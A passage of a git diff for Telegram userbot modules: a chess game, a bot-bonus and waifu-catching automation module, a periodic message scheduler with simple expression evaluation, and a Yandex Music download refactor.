games_backup[game_id] = game_copy
self.set("games_backup", games_backup)
############## Starting game... ##############
async def _start_timer(self, call: InlineCall, board_call: InlineCall, game_id: str):
if not await self._check_player(call, game_id): return
timer = self.games[game_id]["Timer"]
timer["timer_loop"] = True
await self._start_game(board_call, game_id)
async def _start_game(self, call: InlineCall, game_id: str):
if not await self._check_player(call, game_id): return
game = self.games[game_id]
node = chess.pgn.Game()
pgn = copy.deepcopy(self.pgn)
pgn["Date"] = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S")
pgn["Round"] = str(game_id)
pgn["White"] = game["sender"]["name"] if game["sender"]["color"] else game["opponent"]["name"]
pgn["Black"] = game["opponent"]["name"] if game["sender"]["color"] else game["sender"]["name"]
pgn["Result"] = "*"
node.headers.update(pgn)
game["game"] = {
"board": chess.Board(),
"message": call,
"root_node": node,
"curr_node": node,
"state": "idle",
"add_params": {
"chosen_figure_coord": "",
"reason_of_ending": "",
"promotion_move": "",
"winner_color": None,
"resigner_color": None,
"draw_offerer": None,
}
}
await self.update_board(game_id)
def idle(self, game_id: str):
game = self.games[game_id]["game"]
game["state"] = "idle"
game["add_params"]["chosen_figure_coord"] = ""
game["add_params"]["promotion_move"] = ""
game["add_params"]["draw_offerer"] = None
def choose(self, game_id: str, coord: str):
game = self.games[game_id]["game"]
game["state"] = "in_choose"
game["add_params"]["chosen_figure_coord"] = coord
game["add_params"]["promotion_move"] = ""
def promotion(self, game_id: str, move: str):
game = self.games[game_id]["game"]
game["state"] = "in_promotion"
game["add_params"]["chosen_figure_coord"] = ""
game["add_params"]["promotion_move"] = move
def the_end(self, game_id: str, reason: str, winner: bool = None):
game = self.games[game_id]["game"]
game["state"] = "the_end"
game["add_params"]["reason_of_ending"] = reason
game["add_params"]["winner_color"] = winner
game["add_params"]["chosen_figure_coord"] = ""
game["add_params"]["promotion_move"] = ""
game["root_node"].headers["Result"] = (
"1-0" if winner is True else
"0-1" if winner is False else
"1/2-1/2"
)
def _get_loser_and_winner(self, game_id: str) -> tuple[str, str]:
game = self.games[game_id]
if game["sender"]["color"] == self.games[game_id]["game"]["add_params"]["winner_color"]:
return (game["opponent"]["name"], game["sender"]["name"])
else:
return (game["sender"]["name"], game["opponent"]["name"])
def _get_piece_symbol(self, game_id: str, coord: str) -> str:
game = self.games[game_id]
piece = game["game"]["board"].piece_at(chess.parse_square(coord))
return game["style"][piece.symbol()] if piece else " "
def _get_move_symbol(self, game_id: str, move: str) -> str:
game = self.games[game_id]
if len(move) == 5:
return game["style"][
"capture_promotion" if (move := chess.Move.from_uci(move))
and game["game"]["board"].is_capture(move)
else "promotion"
]
else:
return game["style"][
"capture" if (move := chess.Move.from_uci(move))
and game["game"]["board"].is_capture(move)
else "move"
]
def _get_available_moves(self, game_id: str, coord: str) -> list[str]:
if not coord: return []
game = self.games[game_id]
coord = chess.parse_square(coord)
moves = [move.uci() for move in game["game"]["board"].legal_moves if move.from_square == coord]
return moves
def _get_board_dict(self, game_id: str) -> dict[str, str]:
game = self.games[game_id]
coords = copy.deepcopy(self.coords)
for coord in self.coords:
coords[coord] = self._get_piece_symbol(game_id, coord)
if game["game"]["state"] == "in_choose":
choosen_coord = game["game"]["add_params"]["chosen_figure_coord"]
for move in self._get_available_moves(game_id, choosen_coord):
coord = move[2:4]
coords[coord] = self._get_move_symbol(game_id, move)
return coords
def _get_reply_markup(self, game_id: str, promotion: bool = False, resign_confirm: bool = False, draw_confirm: bool = False) -> list[list[dict]]:
game = self.games[game_id]
is_end = game["game"]["state"] == "the_end"
reply_markup = utils.chunks(
[
{
"text": figure,
"callback": self.choose_coord,
"args": (game_id, coord),
}
for coord, figure in self._get_board_dict(game_id).items()
][::-1],
8
)
if promotion:
reply_markup.append(
[{"text": "⬇️↻⬇️", "action": "answer", "message": self.strings["choose_promotion"]}]
)
reply_markup.append(
[
{
"text": game["style"].get(piece, piece),
"callback": self.pawn_promotion,
"args": (game_id, piece),
} for piece in "qrnb"
]
)
elif resign_confirm:
reply_markup.extend(
[
[
{
"text": self.strings["resign_check"],
"data": "_there_is_nothing",
}
],
[
{
"text": self.strings["resign_yes"],
"callback": self.resign,
"args": (game_id, True),
},
{
"text": self.strings["resign_no"],
"callback": self._back_to_game,
"args": (game_id,),
},
]
]
)
elif draw_confirm:
reply_markup.extend(
[
[
{
"text": self.strings["draw_offer"].format(
self.strings["white"] if game["game"]["add_params"]["draw_offerer"]
else self.strings["black"]
),
"data": "_there_is_nothing",
}
],
[
{
"text": self.strings["draw_yes"],
"callback": self.draw,
"args": (game_id, True),
},
{
"text": self.strings["resign_no"],
"callback": self._back_to_game,
"args": (game_id,),
},
]
]
)
elif not is_end:
resign = [
{
"text": "🏳️",
"callback": self.resign,
"args": (game_id,),
},
{
"text": "🤝",
"callback": self.draw,
"args": (game_id,),
}
]
reply_markup.append(resign)
return reply_markup
async def update_board(self, game_id: str, promotion: bool = False, resign_confirm: bool = False, draw_confirm: bool = False):
game = self.games[game_id]
is_end = game["game"]["state"] == "the_end"
reason_of_ending = game["game"]["add_params"]["reason_of_ending"]
status = (
self.strings["check"] if game["game"]["board"].is_check() and not is_end
else self.strings[reason_of_ending] + "\n"
)
loser, winner = self._get_loser_and_winner(game_id)
reply_markup = self._get_reply_markup(game_id, promotion, resign_confirm, draw_confirm)
pgn = game["game"]["root_node"].accept(chess.pgn.StringExporter(columns=None, headers=False)).replace("*", "").rsplit(maxsplit=1)
if pgn:
pgn[-1] = f"<b>{pgn[-1]}</b>"
else:
pgn = ["<b>|</b>"]
last_moves = " ".join(pgn)
await utils.answer(
game["game"]["message"],
self.strings["board"].format(
game_id,
utils.escape_html(game["sender"]["name"] if game["sender"]["color"] else game["opponent"]["name"]),
utils.escape_html(game["opponent"]["name"] if game["sender"]["color"] else game["sender"]["name"]),
self.strings["white"] if game["game"]["board"].turn else self.strings["black"],
status.format(loser=loser, winner=winner),
last_moves[-32:],
),
reply_markup=reply_markup,
)
def make_move(self, game_id: str, move: str):
game = self.games[game_id]["game"]
move = chess.Move.from_uci(move)
game["board"].push(move)
game["curr_node"] = game["curr_node"].add_variation(move)
async def pawn_promotion(self, call: InlineCall, game_id: str, piece: str):
if not await self._check_player(call, game_id): return
game = self.games[game_id]["game"]
move = game["add_params"]["promotion_move"] + piece
self.make_move(game_id, move)
self.set_game_state(game_id)
return await self.update_board(game_id)
async def _back_to_game(self, _, game_id: str):
self.set_game_state(game_id)
await self.update_board(game_id)
async def resign(self, call: InlineCall, game_id: str, confirm: bool = False):
if not await self._check_player(call, game_id): return
game = self.games[game_id]
if not confirm:
game["game"]["add_params"]["resign_offerer"] = self._get_color_by_player(
game_id,
call.from_user.id
)
return await self.update_board(game_id, resign_confirm=True)
self.the_end(game_id, "resign", winner=not game["game"]["board"].turn)
await self.update_board(game_id)
async def draw(self, call: InlineCall, game_id: str, accept: bool = False):
if not await self._check_player(call, game_id, skip_turn_check=True): return
game = self.games[game_id]
if accept:
offerer_id = self._get_player_by_color(
game_id,
game["game"]["add_params"]["draw_offerer"]
)["id"]
if call.from_user.id == offerer_id:
await call.answer(self.strings["draw_not_you"])
return
self.the_end(game_id, "draw")
return await self.update_board(game_id)
game["game"]["add_params"]["draw_offerer"] = self._get_color_by_player(
game_id,
call.from_user.id
)
return await self.update_board(game_id, draw_confirm=True)
def set_game_state(self, game_id: str):
game = self.games[game_id]["game"]
board = game["board"]
self.idle(game_id)
if board.is_checkmate():
self.the_end(game_id, "checkmate", winner=not board.turn)
elif board.is_stalemate():
self.the_end(game_id, "stalemate")
elif board.is_insufficient_material():
self.the_end(game_id, "insufficient_material")
elif board.is_seventyfive_moves():
self.the_end(game_id, "seventyfive_moves")
elif board.is_fivefold_repetition():
self.the_end(game_id, "fivefold_repetition")
async def choose_coord(self, call: BotInlineCall, game_id: str, coord: str):
if not await self._check_player(call, game_id): return
game = self.games[game_id]["game"]
state = game["state"]
if state == "idle":
if self._get_available_moves(game_id, coord):
self.choose(game_id, coord)
else:
await call.answer(self.strings["no_moves"])
return await self.update_board(game_id)
elif state == "in_choose":
if coord == game["add_params"]["chosen_figure_coord"]:
self.idle(game_id)
return await self.update_board(game_id)
av_moves = self._get_available_moves(game_id, game["add_params"]["chosen_figure_coord"])
coord_matches = [move for move in av_moves if coord in move]
if len(coord_matches) == 1:
self.make_move(game_id, coord_matches[0])
self.set_game_state(game_id)
return await self.update_board(game_id)
elif len(coord_matches) > 1:
move = coord_matches[0][:4]
self.promotion(game_id, move)
return await self.update_board(game_id, promotion=True)
elif game["board"].piece_at(chess.parse_square(coord)):
self.choose(game_id, coord)
return await self.update_board(game_id)
else:
self.idle(game_id)
return await self.update_board(game_id)
elif state == "in_promotion":
return await call.answer(self.strings["can_not_move"])
elif state == "the_end":
return await call.answer(self.strings["game_ended"])
else:
await call.answer("ты игру сломал?")
self.idle(game_id)
return await self.update_board(game_id)
def _get_player_by_color(self, game_id: str, color: bool):
game = self.games[game_id]
return game["sender"] if game["sender"]["color"] == color else game["opponent"]
def _get_color_by_player(self, game_id: str, player_id: int):
game = self.games[game_id]
if game["sender"]["id"] == player_id:
return game["sender"]["color"]
elif game["opponent"]["id"] == player_id:
return game["opponent"]["color"]
return None

View File

@@ -0,0 +1,435 @@
__version__ = (1,1,7)
#░░░███░███░███░███░███
#░░░░░█░█░░░░█░░█░░░█░█
#░░░░█░░███░░█░░█░█░█░█
#░░░█░░░█░░░░█░░█░█░█░█
#░░░███░███░░█░░███░███
# H:Mods Team [💎]
# meta developer: @nullmod
# - main - #
from .. import loader, utils
# - func - #
import asyncio
import logging
import time
import re
# - func(tl) - #
from telethon.tl.functions.chatlists import CheckChatlistInviteRequest, JoinChatlistInviteRequest, LeaveChatlistRequest
from telethon.tl.functions.messages import ImportChatInviteRequest, CheckChatInviteRequest
from telethon.tl.functions.channels import JoinChannelRequest, LeaveChannelRequest
from telethon.tl.functions.contacts import BlockRequest, UnblockRequest
# - types - #
from telethon.tl.types import InputChatlistDialogFilter, UpdateDialogFilter
# - errors - #
from telethon.errors import YouBlockedUserError, InviteRequestSentError
# - end - #
logger = logging.getLogger(__name__)
@loader.tds
class HaremManager(loader.Module):
"""Module for harem bots: Gif Harem, Waifu Harem, Horny Harem"""
strings = {
"name": "HaremManager"
}
def __init__(self):
self.config = loader.ModuleConfig(
loader.ConfigValue(
"ignore-chats",
[],
"Список чатов, где модуль НЕ будет ловить вайфу. Указывайте ID чатов в виде 123456789",
validator=loader.validators.Series(
validator=loader.validators.Integer(),
)
),
loader.ConfigValue(
"whitelist-chats",
[],
"Список чатов, где модуль будет ловить вайфу. Указывайте ID чатов в виде 123456789. Если что-то указано, то модуль будет ловить вайфу только в этих чатах",
validator=loader.validators.Series(
validator=loader.validators.Integer(),
)
),
loader.ConfigValue(
"interval-horny",
4,
"Интервал между автобонусом",
validator=loader.validators.Float(2.0)
),
loader.ConfigValue(
"interval-waifu",
4,
"Интервал между автобонусом",
validator=loader.validators.Float(2.0)
),
loader.ConfigValue(
"interval-gif",
4,
"Интервал между автобонусом",
validator=loader.validators.Float(2.0)
),
)
async def client_ready(self):
self.harems = {
"horny": "@Horny_GaremBot",
"waifu": "@garem_chatbot",
"gif": "@GIFgarem_bot",
}
self.harems_ids = {
"horny": 7896566560,
"waifu": 6704842953,
"gif": 7084965046,
}
temp_values = [
"config",
"ab-horny",
"catch-horny",
"out-horny",
"ab-waifu",
"catch-waifu",
"out-waifu",
"ab-gif",
"catch-gif",
"out-gif"
]
if not self.get("config", None):
for value in temp_values:
self.set(value, False if value not in "config" else True)
@loader.loop(interval=1, autostart=True)
async def loop(self):
for bot in self.harems:
if self.get(f"ab-{bot}", None):
if (not self.get(f"ab-t-{bot}") or (time.time() - self.get(f"ab-t-{bot}")) >= int(3600*self.config[f"interval-{bot}"])):
await self._autobonus(self.harems[bot], bot)
@loader.watcher("only_messages")
async def watcher(self, message):
"""Watcher"""
chatid = int(str(message.chat_id).replace("-100", ""))
for bot in self.harems:
if bot == "waifu": continue
if message.sender_id == self.harems_ids[bot] and self.get(f"catch-{bot}", None):
if self.config["whitelist-chats"]:
if chatid not in self.config["whitelist-chats"]:
return
elif chatid in self.config["ignore-chats"]:
return
if (not self.get(f"catcher_time-{bot}") or int(time.time()) - int(self.get(f"catcher_time-{bot}")) > 14400):
if "заблудилась" in message.text.lower():
try:
await message.click()
await asyncio.sleep(5)
msgs = await message.client.get_messages(chatid, limit=10)
for msg in msgs:
if msg.mentioned and "забрали" in msg.text and msg.sender_id == self.harems_ids[bot]:
if self.get(f"out-{bot}", None):
match = re.search(r", Вы забрали (.+?)\. Вайфу", msg.text)
waifu = match.group(1)
caption = f"{waifu} в вашем гареме! <emoji document_id=5395592707580127159>😎</emoji>"
await self.client.send_file(self.harems[bot], caption=caption, file=message.media)
self.set(f"catcher_time-{bot}", int(time.time()))
except Exception as e:
logger.error(f"Ошибка при ловле вайфу для {bot}(не критично): {e}")
def _main_markup(self):
return [
[
{
"text": "[✔️] Horny Harem" if self.get("ab-horny") else "[❌] Horny Harem",
"callback": self.callback_handler,
"args": ("horny",)
},
{
"text": "[✔️] Waifu Harem" if self.get("ab-waifu") else "[❌] Waifu Harem",
"callback": self.callback_handler,
"args": ("waifu",)
},
],
[
{
"text": "[✔️] Gif Harem" if self.get("ab-gif") else "[❌] Gif Harem",
"callback": self.callback_handler,
"args": ("gif",)
}
],
[
{
"text": "🔻 Закрыть",
"action": "close",
}
]
]
def _menu_markup(self, bot):
markup = [[],[]]
markup[0].append({
"text": "[✔️] Автобонус" if self.get(f"ab-{bot}", None) else "[❌] Автобонус",
"callback": self.callback_handler,
"args": (f"ab-{bot}",)
})
if "waifu" not in bot:
markup[0].append({
"text": "[✔️] Автоловля" if self.get(f"catch-{bot}", None) else "[❌] Автоловля",
"callback": self.callback_handler,
"args": (f"catch-{bot}",)
})
markup[1].append({
"text": "[✔️] Вывод от ловца" if self.get(f"out-{bot}", None) else "[❌] Вывод от ловца",
"callback": self.callback_handler,
"args": (f"out-{bot}",)
})
markup.append([
{
"text":"🔁 Перезапустить автобонус",
"callback": self.callback_handler,
"args": (f"restart-{bot}",)
},
])
markup.append([
{
"text":"↩️ Назад",
"callback":self.callback_handler,
"args": ("back",)
}
])
return markup
async def _set_menu(self, message):
await utils.answer(
message,
f"❤️ Выберите бота для управления\n\n✅ <i>- означает, что автобонус включён</i>\
\n\nБольше настроек в конфиге модуля(<code>{self.get_prefix()}config HaremManager</code>)",
reply_markup=self._main_markup()
)
async def callback_handler(self, call, data):
if data == "back":
await self._set_menu(call)
return
elif data.startswith("restart-"):
bot = data.split("-")[-1]
await call.answer(f"Перезапуск бонуса для {self.harems[bot]}...")
await self._autobonus(self.harems[bot], bot)
return
elif data.startswith("ab-"):
bot = data.split("-")[-1]
self.set(data, not self.get(data, None))
await utils.answer(call, f"Меню <code>{self.harems[bot]}</code>", reply_markup=self._menu_markup(bot))
elif data.startswith("catch-"):
bot = data.split("-")[-1]
self.set(data, not self.get(data, None))
await utils.answer(call, f"Меню <code>{self.harems[bot]}</code>", reply_markup=self._menu_markup(bot))
elif data.startswith("out-"):
bot = data.split("-")[-1]
self.set(data, not self.get(data, None))
await utils.answer(call, f"Меню <code>{self.harems[bot]}</code>", reply_markup=self._menu_markup(bot))
else:
bot = data
await utils.answer(call, f"Меню <code>{self.harems[bot]}</code>", reply_markup=self._menu_markup(bot))
async def _autobonus(self, id, bot):
wait_boost = False
async with self._client.conversation(id) as conv:
try:
await conv.send_message("/bonus")
except YouBlockedUserError:
await self.client(UnblockRequest(id))
await conv.send_message("/bonus")
r = None
try:
r = await conv.get_response(timeout=5*60)
except:
tryings = 5
while tryings > 0:
tryings -= 1
try:
await conv.send_message("/bonus")
r = await conv.get_response(5*60)
break
except:
pass
if r is None:
logger.warning("Ответ от бота не получен. Вероятно, он снова лёг\n\nПерезапустите автобонус, когда бот очнётся")
self.set(f"ab-{bot}", False)
return
self.set(f"ab-t-{bot}", int(time.time()))
if "Доступен бонус за подписки" in r.text:
await conv.send_message("/start ad_bonus")
r = await conv.get_response()
if "проверка пройдена" not in r.text:
to_leave, to_block, folders, chats_in_folders = [], [], [], []
wait_boost = False
if r.reply_markup:
a = r.buttons
for i in a:
for button in i: # каждая кнопка...
if button.url:
alr = False # "уже зашёл"
if "addlist/" in button.url: # добавление папок
slug = button.url.split("addlist/")[-1]
peers = await self.client(CheckChatlistInviteRequest(slug=slug))
if peers:
peers = peers.peers
try:
a = await self.client(JoinChatlistInviteRequest(slug=slug, peers=peers))
chats_in_folders.append(peers) # для выхода
for update in a.updates:
if isinstance(update, UpdateDialogFilter):
folders.append(InputChatlistDialogFilter(filter_id=update.id)) # для удаления папки
except: pass
continue
if "t.me/boost" in button.url: # бустить не обязательно
wait_boost = True
continue
if not bool(re.match(r"^https?:\/\/t\.me\/[^\/]+\/?$", button.url)): # дополнительные вложения отметаем
continue
if "t.me/+" in button.url: # приватные чаты
try:
a = await self.client(CheckChatInviteRequest(button.url.split("+")[-1]))
if not hasattr(a, "request_needed") or not a.request_needed: # получить айди приватного чата/канала с приглашениями без входа невозможно
pass
else:
url = button.url.split("?")[0] if "?" in button.url else button.url
try:
await self.client(ImportChatInviteRequest(button.url.split("+")[-1]))
except InviteRequestSentError: pass
await asyncio.sleep(3)
try:
entity = await self.client.get_entity(url)
except ValueError:
try:
await asyncio.sleep(15)
entity = await self.client.get_entity(url)
except:
continue
except:
pass
alr = True
except: continue
url = button.url.split("?")[0] if "?" in button.url else button.url
if not alr:
try:
entity = await self.client.get_entity(url)
except:
entity = (await self.client(ImportChatInviteRequest(button.url.split("+")[-1]))).chats[0] #gotten class Updates
alr = True
if hasattr(entity, "broadcast"):
if not alr:
await self.client(JoinChannelRequest(button.url))
to_leave.append(entity.id)
else:
to_leave.append(entity.chat.id) if hasattr(entity,"chat") else to_leave.append(entity.id) if hasattr(entity,"id") else None
elif hasattr(entity, "bot"):
username = entity.username if entity.username is not None else entity.usernames[0].username
try:
await self.client(UnblockRequest(username))
except: print("блин")
await self.client.send_message(entity, "/start")
to_block.append(username)
flyer_messages = await self.client.get_messages(id, limit=1)
if wait_boost:
await asyncio.sleep(150)
for m in flyer_messages:
await asyncio.sleep(5)
await m.click(-1)
await asyncio.sleep(5)
for folder, chats in zip(folders, chats_in_folders):
await self.client(LeaveChatlistRequest(peers=chats, chatlist=folder))
for bot in to_block:
await self.client(BlockRequest(bot))
await self.client.delete_dialog(bot)
for channel in to_leave:
try:
await self.client(LeaveChannelRequest(channel))
except Exception as e:
pass
count = 0
if not self.get(f"last_lout-{bot}") or int(time.time()) - self.get(f"last_lout-{bot}") > 43200:
while count <= 3: # на всякий случай 4 попытки. Бот может забагаться и не выдать завершающий ответ
await conv.send_message("/lout")
r = await conv.get_response()
if r.reply_markup:
pattern = self._parse(r)
clicks = self._solution(pattern)
for i in range(len(clicks)):
if clicks[i] == 1:
await r.click(i)
self.set(f"last_lout-{bot}", int(time.time()))
count += 1
else:
break
def _parse(self, r):
a = r.buttons
pattern = []
for i in a:
for m in i:
t = m.text
if t == "🌚":
pattern.append(0)
elif t == "🌞":
pattern.append(1)
else:
pass
return pattern
def _solution(self, pole):
n = len(pole)
for num in range(2**n):
binary_string = bin(num)[2:].zfill(n)
presses = [int(char) for char in binary_string]
temp = pole[:]
for i in range(n):
if presses[i]:
temp[i] ^= 1
if i % 3 > 0: temp[i - 1] ^= 1
if i % 3 < 2: temp[i + 1] ^= 1
if i >= 3: temp[i - 3] ^= 1
if i < 6: temp[i + 3] ^= 1
if sum(temp) == 0:
return presses
return None
@loader.command()
async def Harems(self, message):
"""Открыть меню управления"""
await self._set_menu(message)
@loader.command()
async def lightsout(self, message):
"""[ответ на соо с полем] Автоматически решает Lights Out"""
if message.is_reply:
r = await message.get_reply_message()
if r.reply_markup:
pattern = self._parse(r)
else:
await utils.answer(message, "<emoji document_id=5299030091735525430>❗️</emoji> Не вижу поля игры. Это точно то сообщение?")
return
else:
await utils.answer(message, "<emoji document_id=5299030091735525430>❗️</emoji> Пропиши команду в ответ на игру.")
return
if pattern:
await utils.answer(message, "<emoji document_id=5472146462362048818>💡</emoji>")
clicks = self._solution(pattern)
if not clicks:
await utils.answer(message, "Иди код трейси гений.")
return #*смачный пинок кодеру под зад.*
for i in range(len(clicks)):
if clicks[i] == 1:
await r.click(i)
await utils.answer(message, "<emoji document_id=5395592707580127159>😎</emoji> Готово.")
else:
await utils.answer(message, "<emoji document_id=5299030091735525430>❗️</emoji> Ты ответил не на поле игры.")
return

View File

@@ -0,0 +1,82 @@
__version__ = (1,1,1)
#░░░███░███░███░███░███
#░░░░░█░█░░░░█░░█░░░█░█
#░░░░█░░███░░█░░█░█░█░█
#░░░█░░░█░░░░█░░█░█░█░█
#░░░███░███░░█░░███░███
# Team: 'H:Mods'
# meta developer: @nullmod
from .. import loader, utils
import re
from datetime import datetime, timedelta, timezone
@loader.tds
class SchedulePlus(loader.Module):
"""Планирование периодичных сообщений"""
strings = {"name": "SchedulePlus",
"no_args": "<emoji document_id=5019523782004441717>❌</emoji> Invalid arguments",
"too_many": "<emoji document_id=5019523782004441717>❌</emoji> Maximum number of scheduled messages is 100.",
"scheduled": "<emoji document_id=5062291541624619917>✈️</emoji> Messages will be scheduled"}
strings_ru = {"name": "SchedulePlus",
"no_args": "<emoji document_id=5019523782004441717>❌</emoji> Неверные аргументы",
"too_many": "<emoji document_id=5019523782004441717>❌</emoji> Максимальное число отложенных сообщений - 100.",
"scheduled": "<emoji document_id=5062291541624619917>✈️</emoji> Сообщения будут запланированы"}
@loader.command()
async def sch(self, message):
"""Используй .sch <периодичность в секундах> <количество отправок> <текст/содержимое из ответа>
Проф. режим: .sch 15 3 test{x=1;x*2}/{y=0;y+1}
Запланирует три сообщения: test2/1, test4/2, test8/3"""
args = utils.get_args_raw(message.text).split(' ', 2)
resp = (await message.get_reply_message()) if len(args) < 3 and message.is_reply else message
if not resp or not args[0].isdigit() or not args[1].isdigit():
return await utils.answer(message, self.strings["no_args"])
interval, count, text = int(args[0]), int(args[1]), args[2] if len(args) > 2 else resp.text
if count > 100:
return await utils.answer(message, self.strings["too_many"])
chat_id = message.chat_id
reply_message_id = resp.reply_to.reply_to_msg_id if resp.reply_to else None
await utils.answer(message, self.strings["scheduled"])
variables = {}
for i in range(count):
send_time = datetime.now(timezone.utc) + timedelta(seconds=interval * i)
formatted_text = self.process_text(text, variables)
await self.client.send_message(chat_id, formatted_text, file=resp.media, schedule=send_time, reply_to=reply_message_id)
def process_text(self, text, variables):
"""Process text okay?"""
def replace_match(match):
return self.eval_expr(match.group(1), variables)
return re.sub(r"\{(.*?)\}", replace_match, text)
def eval_expr(self, expr, variables):
"""eval()"""
parts = expr.split(";")
last_value = None
var_name = None
for part in parts:
part = part.strip()
if "=" in part and part.count("=") == 1:
var, value = part.split("=")
var = var.strip()
if var not in variables:
variables[var] = eval(value, {"__builtins__": {}}, variables)
last_value = variables[var]
var_name = var
else:
last_value = eval(part, {"__builtins__": {}}, variables)
if var_name is not None:
variables[var_name] = last_value
return str(last_value)

View File

@@ -0,0 +1,3 @@
Chess
HaremManager
SchedulePlus

View File

@@ -1,4 +1,4 @@
__version__ = (2, 0, 0)
__version__ = (2, 0, 1)
# region KAMEKURO.
# █▄▀ ▄▀█ █▀▄▀█ █▀▀ █▄▀ █ █ █▀█ █▀█
# █ █ █▀█ █ ▀ █ ██▄ █ █ ▀▄▄▀ █▀▄ █▄█ ▄
@@ -31,6 +31,7 @@ import random
import requests
import string
import textwrap
import typing
from PIL import Image, ImageDraw, ImageEnhance, ImageFilter, ImageFont
import telethon
@@ -67,17 +68,12 @@ class Banners:
bbox = draw.textbbox((0, 0), text, font=font)
return bbox[2] - bbox[0], bbox[3] - bbox[1]
def new(self):
W, H = 1920, 768
title_font = ImageFont.truetype(
io.BytesIO(requests.get(self.onest_b).content), 80
)
artist_font = ImageFont.truetype(
io.BytesIO(requests.get(self.onest_b).content), 55
)
time_font = ImageFont.truetype(
io.BytesIO(requests.get(self.onest_b).content), 36
)
title_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 80)
artist_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 55)
time_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 36)
track_cov = Image.open(io.BytesIO(self.track_cover)).convert("RGBA")
banner = (
@@ -109,19 +105,19 @@ class Banners:
lines = title_lines + artist_lines
lines_sizes = [
self.measure(
line, artist_font if (i == len(lines) - 1) else title_font, draw
line, artist_font if (i == len(lines)-1) else title_font, draw
)
for i, line in enumerate(lines)
]
heights = [h for _, h in lines_sizes]
total_sizes = [sum(w for w, _ in lines_sizes), sum(h for _, h in lines_sizes)]
spacing = title_font.size + 10
y_start = space[1] + (space[3] - space[1]) / 2
y_start = space[1] + ((space[3]-space[1]-total_sizes[1]) / 2)
for i, line in enumerate(lines):
w, _ = lines_sizes[i]
draw.text(
(space[0] + (space[2] - space[0] - w) / 2, y_start),
(space[0] + (space[2]-space[0]-w) / 2, y_start),
line,
font=(artist_font if (i == (len(lines) - 1)) else title_font),
font=(artist_font if (i == (len(lines)-1)) else title_font),
fill="#FFFFFF",
)
y_start += spacing
@@ -151,17 +147,12 @@ class Banners:
by.name = "banner.png"
return by
def old(self):
w, h = 1920, 768
title_font = ImageFont.truetype(
io.BytesIO(requests.get(self.onest_b).content), 80
)
art_font = ImageFont.truetype(
io.BytesIO(requests.get(self.onest_r).content), 55
)
time_font = ImageFont.truetype(
io.BytesIO(requests.get(self.onest_b).content), 36
)
title_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 80)
art_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_r).content), 55)
time_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 36)
track_cov = Image.open(io.BytesIO(self.track_cover)).convert("RGBA")
banner = (
@@ -387,9 +378,7 @@ class YaMusicMod(loader.Module):
)
await utils.answer(message, out + self.strings("downloading_track"))
info = await ym_client.tracks_download_info(search.tracks.results[0].id, True)
audio = io.BytesIO(requests.get(info[0].direct_link).content)
audio.name = "audio.mp3"
audio = await self.__download_track(ym_client, search.tracks.results[0].id)
await utils.answer(
message=message,
response=out,
@@ -538,12 +527,10 @@ class YaMusicMod(loader.Module):
except:
pass
audio = io.BytesIO(requests.get(now["track"]["download_link"]).content)
audio.name = "audio.mp3"
await utils.answer(
message=message,
response=out,
file=audio,
file=now["track"]["bytes_io"],
attributes=(
[
telethon.types.DocumentAttributeAudio(
@@ -653,6 +640,29 @@ class YaMusicMod(loader.Module):
)
async def __download_track(
self,
client: yandex_music.ClientAsync,
track_id: typing.Union[int, str],
link_only: bool = False,
):
last_exception = None
for attempt in range(5):
try:
info = await client.tracks_download_info(
track_id, get_direct_links=True
)
if link_only:
return info[0].direct_link
by = io.BytesIO(await info[0].download_bytes_async())
by.name = "audio.mp3"
return by
except Exception as e:
if attempt != 4:
await asyncio.sleep(1)
continue
raise e
# Original code: https://raw.githubusercontent.com/MIPOHBOPOHIH/YMMBFA/main/main.py
async def __get_ynison(self):
async def create_ws(token, ws_proto):
@@ -778,12 +788,8 @@ class YaMusicMod(loader.Module):
"duration": track_object.duration_ms // 1000,
"minutes": round(track_object.duration_ms / 1000) // 60,
"seconds": round(track_object.duration_ms / 1000) % 60,
"download_link": (
(
await ym_client.tracks_download_info(
track_object.track_id, get_direct_links=True
)
)[0].direct_link
"bytes_io": (
await self.__download_track(ym_client, track_object.track_id)
),
},
}